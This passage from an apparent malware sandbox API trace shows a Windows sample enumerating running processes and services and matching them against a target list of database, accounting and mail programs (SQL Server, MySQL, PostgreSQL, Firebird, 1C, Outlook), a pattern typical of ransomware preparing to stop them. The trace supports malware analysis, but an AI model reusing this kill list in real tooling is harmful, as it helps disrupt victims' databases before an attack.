(lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0247.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0247.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0247.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0247.626] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0247.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0247.633] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.634] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.635] lstrlenW (lpString="System") returned 6 [0247.635] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0247.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0247.635] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0247.635] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0247.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0247.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0247.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0247.635] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.636] lstrlenW (lpString="smss.exe") returned 8 [0247.636] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0247.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0247.636] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0247.636] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0247.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0247.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0247.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0247.637] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.638] lstrlenW (lpString="csrss.exe") returned 9 [0247.638] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0247.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0247.638] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0247.638] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0247.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0247.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0247.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0247.638] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.639] lstrlenW (lpString="wininit.exe") returned 11 [0247.639] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0247.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0247.640] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0247.640] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0247.640] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0247.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0247.640] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0247.640] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.641] lstrlenW (lpString="csrss.exe") returned 9 [0247.641] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0247.641] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0247.641] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0247.641] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0247.641] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0247.641] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0247.642] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0247.642] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.642] lstrlenW (lpString="winlogon.exe") returned 12 [0247.643] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0247.643] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0247.643] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0247.643] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0247.643] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0247.643] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0247.643] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0247.643] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.962] lstrlenW (lpString="services.exe") returned 12 [0247.963] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0247.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0247.963] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0247.963] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0247.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0247.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0247.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0247.963] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.967] lstrlenW (lpString="lsass.exe") returned 9 [0247.967] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0247.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0247.967] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0247.967] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0247.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0247.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0247.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0247.968] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0247.969] lstrlenW (lpString="lsm.exe") returned 7 [0247.969] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0247.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0247.969] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0247.969] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0247.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0247.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0247.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0247.969] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.971] lstrlenW (lpString="svchost.exe") returned 11 [0247.971] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0247.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0247.971] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0247.971] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0247.971] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0247.971] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0247.980] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.981] lstrlenW (lpString="svchost.exe") returned 11 [0247.981] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.982] lstrlenW (lpString="svchost.exe") returned 11 [0247.982] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.985] lstrlenW (lpString="svchost.exe") returned 11 [0247.985] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.992] lstrlenW (lpString="svchost.exe") returned 11 [0247.993] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.998] lstrlenW (lpString="audiodg.exe") returned 11 [0247.998] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.999] lstrlenW (lpString="svchost.exe") returned 11 [0247.999] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0248.000] lstrlenW (lpString="userinit.exe") returned 12 [0248.000] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.160] lstrlenW (lpString="explorer.exe") returned 12 [0248.160] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.161] lstrlenW (lpString="dwm.exe") returned 7 [0248.161] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.162] lstrlenW (lpString="svchost.exe") returned 11 [0248.162] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0248.163] lstrlenW (lpString="winhost.exe") returned 11 [0248.163] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.164] lstrlenW (lpString="spoolsv.exe") returned 11 [0248.164] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.165] lstrlenW (lpString="svchost.exe") returned 11 [0248.165] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0248.166] lstrlenW (lpString="taskhost.exe") returned 12 [0248.166] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0248.167] lstrlenW (lpString="reader_sl.exe") returned 13 [0248.168] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0248.169] CloseHandle (hObject=0x3ac) returned 1 [0248.169] Sleep (dwMilliseconds=0x1f4) [0248.783] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4f0 [0248.884] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0248.885] GetLastError () returned 0xea [0248.885] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe90) returned 0x42a0060 [0248.885] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xe90, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0248.887] CloseServiceHandle (hSCObject=0x62e4f0) returned 1 [0248.888] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0248.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0248.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0248.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0248.888] lstrlenW (lpString="AudioSrv") returned 8 [0248.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0248.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0248.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0248.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0248.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0248.888] lstrlenW (lpString="BFE") returned 3 [0248.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0248.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0248.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0248.889] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0248.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0248.889] lstrlenW (lpString="CryptSvc") returned 8 [0248.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0248.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0248.889] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0248.889] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0248.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0248.889] lstrlenW (lpString="CscService") returned 10 [0248.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0248.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0248.889] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0248.889] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0248.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0248.890] lstrlenW (lpString="DcomLaunch") returned 10 [0248.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.890] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0248.890] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0248.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0248.890] lstrlenW (lpString="Dhcp") returned 4 [0248.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0248.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0248.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0248.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0248.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0248.890] lstrlenW (lpString="Dnscache") returned 8 [0248.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0248.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0248.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0248.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0248.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0248.891] lstrlenW (lpString="DPS") returned 3 [0248.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0248.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0248.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0248.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0248.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0248.891] lstrlenW (lpString="eventlog") returned 8 [0248.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0248.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0248.891] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0248.892] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0248.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0248.892] lstrlenW (lpString="EventSystem") returned 11 [0248.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0248.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0248.892] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0248.893] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0248.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0248.893] lstrlenW (lpString="gpsvc") returned 5 [0248.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0248.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0248.893] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0248.893] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0248.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0248.893] lstrlenW (lpString="iphlpsvc") returned 8 [0248.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.893] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0248.894] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0248.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0248.894] lstrlenW (lpString="LanmanServer") returned 12 [0248.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0248.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0248.894] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0248.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0248.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0248.894] lstrlenW (lpString="LanmanWorkstation") returned 17 [0248.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.894] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0248.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0248.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0248.895] lstrlenW (lpString="lmhosts") returned 7 [0248.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0248.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0248.895] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0248.895] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0248.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0248.895] lstrlenW (lpString="MMCSS") returned 5 [0248.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0248.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0248.895] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0248.895] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0248.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0248.896] lstrlenW (lpString="MpsSvc") returned 6 [0248.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0248.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0248.896] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0248.896] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0248.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0248.896] lstrlenW (lpString="NlaSvc") returned 6 [0248.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0248.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0248.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0248.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0248.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0248.896] lstrlenW (lpString="nsi") returned 3 [0248.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0248.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0248.897] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0248.897] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0248.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0248.897] lstrlenW (lpString="PcaSvc") returned 6 [0248.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0248.897] 